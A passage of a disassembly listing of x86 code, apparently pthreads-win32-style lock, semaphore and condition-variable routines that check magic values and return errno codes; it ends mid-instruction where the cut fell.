loc_4322EA: ; CODE XREF: ___:00432280j ; ___:0043229Dj inc dword ptr [esi+10h] loc_4322ED: ; CODE XREF: ___:004322E5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4322F6: ; CODE XREF: ___:0043220Cj ; ___:00432216j ... mov eax, 16h loc_4322FB: ; CODE XREF: ___:00432231j ; ___:00432251j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_432360: ; CODE XREF: ___:00401951j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_432461 mov eax, [esi] test eax, eax jz loc_432461 cmp eax, 0FFFFFFFFh jnz short loc_432397 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432397 cmp eax, 10h jnz loc_432466 loc_432397: ; CODE XREF: ___:0043237Fj ; ___:0043238Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432461 mov edi, [esp+20h] push edi push esi call sub_401BC2 add esp, 8 test eax, eax jnz loc_432466 lea ebp, [esi+4] push edi push ebp call sub_401BC2 mov edi, eax add esp, 8 test edi, edi jz short loc_4323E1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4323E1: ; CODE XREF: ___:004323CDj mov eax, [esi+10h] test eax, eax jnz short loc_432455 mov eax, [esi+14h] test eax, eax jle short loc_4323FE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4323FE: ; CODE XREF: ___:004323EDj mov eax, [esi+0Ch] test eax, eax jle short loc_432455 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_432421: ; CODE XREF: ___:0043243Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43243D mov eax, [esi+14h] test eax, eax jl short loc_432421 loc_43243D: ; CODE XREF: ___:00432434j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_432458 mov [esi+0Ch], edi loc_432455: ; CODE XREF: ___:004323E6j ; ___:00432403j inc dword ptr [esi+10h] loc_432458: ; CODE XREF: ___:00432450j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: ___:0043236Cj ; ___:00432376j ... mov eax, 16h loc_432466: ; CODE XREF: ___:00432391j ; ___:004323B6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4324C0: ; CODE XREF: ___:004015BEj mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_432546 mov esi, [eax] test esi, esi jz short loc_432546 cmp esi, 0FFFFFFFFh jnz short loc_4324DC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4324DC: ; CODE XREF: ___:004324D4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_432546 mov eax, [esi+10h] test eax, eax jnz short loc_432524 lea ebx, [esi+4] push ebx call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_432502 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432502: ; CODE XREF: ___:004324FCj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_432519 add esi, 8 push esi call sub_401E51 add esp, 4 mov edi, eax loc_432519: ; CODE XREF: ___:00432509j push ebx call sub_4010C3 add esp, 4 jmp short loc_43253C ; --------------------------------------------------------------------------- loc_432524: ; CODE XREF: ___:004324EAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43253C: ; CODE XREF: ___:00432522j test edi, edi jz short loc_43254B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432546: ; CODE XREF: ___:004324C9j ; ___:004324CFj ... mov eax, 16h loc_43254B: ; CODE XREF: ___:0043253Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432580: ; CODE XREF: ___:00401532j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43263A mov eax, [esi] test eax, eax jz loc_43263A cmp eax, 0FFFFFFFFh jnz short loc_4325B4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4325B4 cmp eax, 10h jnz loc_43263F loc_4325B4: ; CODE XREF: ___:0043259Cj ; ___:004325A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43263A push esi call sub_40177B add esp, 4 test eax, eax jnz short loc_43263F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43262D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4325FD push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4325FD: ; CODE XREF: ___:004325ECj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43262D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43262D: ; CODE XREF: ___:004325DAj ; ___:0043261Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43263A: ; CODE XREF: ___:00432589j ; ___:00432593j ... mov eax, 16h loc_43263F: ; CODE XREF: ___:004325AEj ; ___:004325CAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432690: ; CODE XREF: ___:00401FD2j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_432771 mov eax, [esi] test eax, eax jz loc_432771 cmp eax, 0FFFFFFFFh jnz short loc_4326C4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4326C4 cmp eax, 10h jnz loc_432776 loc_4326C4: ; CODE XREF: ___:004326ACj ; ___:004326B9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432771 push esi call sub_40177B add esp, 4 test eax, eax jnz loc_432776 lea ebx, [esi+4] push ebx call sub_40177B mov edi, eax add esp, 4 test edi, edi jz short loc_432709 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_432776 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432709: ; CODE XREF: ___:004326F4j mov eax, [esi+10h] test eax, eax jnz short loc_432759 mov eax, [esi+14h] test eax, eax jle short loc_432726 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432726: ; CODE XREF: ___:00432715j mov eax, [esi+0Ch] test eax, eax jle short loc_432764 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_43274B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43274B: ; CODE XREF: ___:0043273Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_43275E loc_432759: ; CODE XREF: ___:0043270Ej mov edi, 10h loc_43275E: ; CODE XREF: ___:00432757j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432764: ; CODE XREF: ___:0043272Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432771: ; CODE XREF: ___:00432699j ; ___:004326A3j ... mov eax, 16h loc_432776: ; CODE XREF: ___:004326BEj ; ___:004326DEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4327C0: ; CODE XREF: ___:00401BF9j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_4327D7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_4327D7: ; CODE XREF: ___:004327CFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432800: ; CODE XREF: ___:00401E97j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432827 mov eax, [esp+8] test eax, eax jz short loc_432827 cmp eax, 2 jbe short loc_432827 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432827: ; CODE XREF: ___:0043280Fj ; ___:00432817j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432840: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432886 mov edi, [esp+14h] test edi, edi jz short loc_432886 mov esi, [edi] push eax call sub_40154B add esp, 4 cmp esi, eax jl short loc_432886 push 0 call sub_401438 add esp, 4 cmp esi, eax jg short loc_432886 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_432886: ; CODE XREF: ___:00432852j ; ___:0043285Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328B0: ; CODE XREF: ___:00401EDDj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_4328D5 mov eax, [esp+0Ch] test eax, eax jz short loc_4328D5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4328D5: ; CODE XREF: ___:004328C0j ; ___:004328C8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328F0: ; CODE XREF: ___:004015B4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_432909 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432909: ; CODE XREF: ___:00432900j mov eax, [esp+0Ch] test eax, eax jz short loc_43291D cmp eax, 1 jz short loc_43291D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_43291D: ; CODE XREF: ___:0043290Fj ; ___:00432914j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:004019D8j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432965 mov eax, [esp+0Ch] test eax, eax jz short loc_432965 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_432965: ; CODE XREF: ___:00432950j ; ___:00432958j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432980 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_4329C5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_4329C0 cmp eax, 2 jg short loc_4329C0 test eax, eax jz short loc_4329AC mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_4329AC: ; CODE XREF: sub_432980+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020B3 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_4329C0: ; CODE XREF: sub_432980+1Aj ; sub_432980+1Fj mov eax, 16h loc_4329C5: ; CODE XREF: sub_432980+12j pop esi retn sub_432980 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4329F0 proc near ; CODE XREF: sub_4020B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_40154B add esp, 4 cmp esi, eax jl loc_432A95 push edi call sub_401438 add esp, 4 cmp esi, eax jg short loc_432A95 cmp esi, 0FFFFFFF1h jle short loc_432A30 cmp esi, 0FFFFFFFEh jge short loc_432A30 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_432A42 ; --------------------------------------------------------------------------- loc_432A30: ; CODE XREF: sub_4329F0+2Fj ; sub_4329F0+34j cmp esi, 0Fh jge short loc_432A42 cmp esi, 2 jle short loc_432A42 mov [esp+8+arg_8], 2 loc_432A42: ; CODE XREF: sub_4329F0+3Ej ; sub_4329F0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_432A8E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx call near ptr 27408D2h nop test eax, eax jnz short loc_432A82 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A82: ; CODE XREF: sub_4329F0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_432A8E: ; CODE XREF: sub_4329F0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A95: ; CODE XREF: sub_4329F0+19j ; sub_4329F0+2Aj pop edi mov eax, 16h pop esi retn sub_4329F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AD0 proc near ; CODE XREF: sub_40218Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_432B09 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_432B04 mov eax, [esp+4+arg_8] test eax, eax jz short loc_432B04 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_432B04: ; CODE XREF: sub_432AD0+1Bj ; sub_432AD0+23j mov eax, 16h loc_432B09: ; CODE XREF: sub_432AD0+12j pop esi retn sub_432AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B20 proc near ; CODE XREF: sub_401438j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B33 cmp eax, 2 jg short loc_432B33 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_432B33: ; CODE XREF: sub_432B20+6j ; sub_432B20+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B60 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B73 cmp eax, 2 jg short loc_432B73 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_432B73: ; CODE XREF: sub_432B60+6j ; sub_432B60+Bj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432BA0: ; CODE XREF: ___:00401AC8j push esi mov esi, [esp+8] test esi, esi jz short loc_432BE5 nop call near ptr 27408A8h cmp esi, eax jz short loc_432BE5 push esi push 0 push 200h nop call near ptr 2790000h test eax, eax jnz short loc_432BE5 nop call near ptr 27C090Ch mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BE5: ; CODE XREF: ___:00432BA7j ; ___:00432BB1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_432BFE call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BFE: ; CODE XREF: ___:00432BEBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432C30: ; CODE XREF: ___:0040150Aj push esi mov esi, [esp+8] test esi, esi jz short loc_432C75 nop call near ptr 27408A8h cmp esi, eax jz short loc_432C75 push esi push 0 push 400h nop call near ptr 2790000h test eax, eax jnz short loc_432C75 nop call near ptr 27C090Ch mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432C75: ; CODE XREF: ___:00432C37j ; ___:00432C41j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432CA0: ; CODE XREF: ___:00401B4Aj push 0 nop call near ptr 2821BE4h xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432CC0 proc near ; CODE XREF: sub_401C76j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_432CDF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432CDF: ; CODE XREF: sub_432CC0+Aj push 4 push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_432CF7 mov edi, 0Ch loc_432CF7: ; CODE XREF: sub_432CC0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 call near ptr 2740221h nop test eax, eax mov [esi], eax jnz short loc_432D24 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D24: ; CODE XREF: sub_432CC0+4Fj test edi, edi jz short loc_432D36 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D36: ; CODE XREF: sub_432CC0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_432CC0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432D80 proc near ; CODE XREF: sub_401686j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_432DA5 mov esi, [edi] test esi, esi jz short loc_432DA5 mov dword ptr [edi], 0 mov eax, [esi] push eax call near ptr 283074Ch nop test eax, eax jnz short loc_432DB7 mov [edi], esi loc_432DA5: ; CODE XREF: sub_432D80+8j ; sub_432D80+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432DB7: ; CODE XREF: sub_432D80+21j push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi retn sub_432D80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DF0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E23 mov eax, [eax] test eax, eax jz short loc_432E23 mov eax, [eax] push 0 push eax call near ptr 27703B3h nop cmp eax, 102h jnz short loc_432E35 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E23: ; CODE XREF: sub_432DF0+7j ; sub_432DF0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E35: ; CODE XREF: sub_432DF0+1Fj xor eax, eax pop esi retn sub_432DF0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E60 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E8D mov eax, [eax] test eax, eax jz short loc_432E8D mov eax, [eax] push eax call sub_401640 ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 7EC437E8h, 30899077h, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432E8D: ; CODE XREF: sub_432E60+7j ; sub_432E60+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_432E60 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401898j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_432EF3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432EF3: ; CODE XREF: sub_432ED0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_432F02 or ebx, 0FFFFFFFFh jmp short loc_432F61 ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_432F61 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_432F61 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_432F61 dec ebx loc_432F61: ; CODE XREF: sub_432ED0+30j ; sub_432ED0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D70 sub_432ED0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 7EC33FE8h, 30899077h, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_432FE0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432FFF mov eax, [eax] test eax, eax jz short loc_432FFF mov eax, [eax] push 0 push 1 push eax nop call near ptr 2740000h test eax, eax jnz short loc_43300F loc_432FFF: ; CODE XREF: sub_432FE0+6j ; sub_432FE0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_43300F: ; CODE XREF: sub_432FE0+1Dj xor eax, eax retn sub_432FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433030 proc near ; CODE XREF: sub_40204Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_433056 mov eax, [eax] test eax, eax jz short loc_433056 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_433056 mov eax, [eax] push 0 push ecx push eax call near ptr 2740000h nop test eax, eax jnz short loc_433066 loc_433056: ; CODE XREF: sub_433030+6j ; sub_433030+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_433066: ; CODE XREF: sub_433030+24j xor eax, eax retn sub_433030 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433080: ; CODE XREF: ___:00401433j mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4330CD mov esi, [eax] test esi, esi jz short loc_4330CD mov edi, [esp+10h] test edi, edi jz short loc_4330CD mov eax, [esi] push 0 push eax nop call near ptr 27703B3h cmp eax, 102h jnz short loc_4330B1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4330B1: ; CODE XREF: ___:004330A8j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx call near ptr 2740000h nop mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4330CD: ; CODE XREF: ___:00433088j ; ___:0043308Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433100: ; CODE XREF: ___:0040220Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433120: ; CODE XREF: ___:00402013j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433140: ; CODE XREF: ___:00401CB2j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433160 proc near ; CODE XREF: sub_401992j arg_0 = dword ptr 4 push esi push offset dword_50E980 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_433194 push esi push ecx call sub_4021EE add esp, 8 mov esi, eax push offset dword_50E980 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433194: ; CODE XREF: sub_433160+17j test eax, eax jnz short loc_43319D mov esi, 16h loc_43319D: ; CODE XREF: sub_433160+36j push offset dword_50E980 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_433160 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4331D0 proc near ; CODE XREF: sub_4021EEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4331EE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4331EE: ; CODE XREF: sub_4331D0+11j lea eax, [esp+14h+var_4] push eax call sub_401C26 mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_433229 mov [esp+14h+var_4], 1 loc_43320B: ; CODE XREF: sub_4331D0+5Ej ; sub_4331D0+63j push 8 push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_433240 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433229: ; CODE XREF: sub_4331D0+31j cmp [esp+14h+var_4], 1 jle short loc_43320B cmp ebx, 1 jnz short loc_43320B pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: sub_4331D0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43325D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: sub_4331D0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A0F mov edi, eax add esp, 4 test edi, edi jnz short loc_433293 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_433293 mov dword ptr [esi], 3 loc_433293: ; CODE XREF: sub_4331D0+9Ej ; sub_4331D0+BBj lea edx, [esp+14h+arg_0] push edx call 